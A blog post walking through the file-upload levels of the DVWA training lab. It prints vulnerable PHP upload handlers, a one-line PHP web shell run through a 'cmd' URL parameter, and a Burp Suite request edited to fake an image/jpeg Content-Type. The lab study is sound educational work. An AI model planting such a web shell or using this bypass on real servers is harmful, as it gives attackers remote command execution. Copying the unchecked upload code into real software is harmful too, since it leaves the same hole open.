Abusing PHP Upload Scripts For Fun and Profit

June 11, 2010 at 6:47 am (PHP, Programming, Security, Upload)

Hey,

So looking at the upload level on Damn Vulnerable Web Application on low and medium settings, it is probably worth putting them into one post 🙂

Let’s take a look at the code for the upload level on the low setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}

}
?>

As you can see this script will allow us to pretty much upload any type of file we want. What would happen if we uploaded a file simply containing the following line of PHP code:

<?php passthru($_GET['cmd']); ?>

Well, it will upload to hackable/uploads to start with so if you point your browser to:

http://localhost/dvwa/hackable/uploads/pwnme.php?cmd=ls

BINGO! 🙂 Nice and simple that one was, yeah? Let’s take a look at the same level but on the medium setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>

Now this looks a little better, but is it? Notice the check:

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

This is the only part you have to circumvent, and you should instantly know how. Using a proxy you can rewrite the upload request to use “image/jpeg” as the upload_type. Let’s see exactly how to do this. First thing’s first, open up a proxy I used Burpsuite for this. Make the request to the page by uploading the neccessary file and making sure you have “intercept requests” turned on in Burp. Then watch out for the following request:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=986e59f304b93ce9287b9cbc84df6a1d
Content-Type: multipart/form-data; boundary=---------------------------68053526712024471042060696500
Content-Length: 512

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="uploaded"; filename="pwnme.php"
Content-Type: application/x-httpd-php

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------68053526712024471042060696500--

the line we are interested in is:

Content-Type: application/x-httpd-php

If we change that to read:

Content-Type: image/jpeg

Then click “forward” on Burpsuite, it will send the request off to the site, the site will then respond with:


pwnme.php succesfully uploaded!

And that was all there was to it for the Upload levels.. pretty simple, huh? 🙂

Leave a comment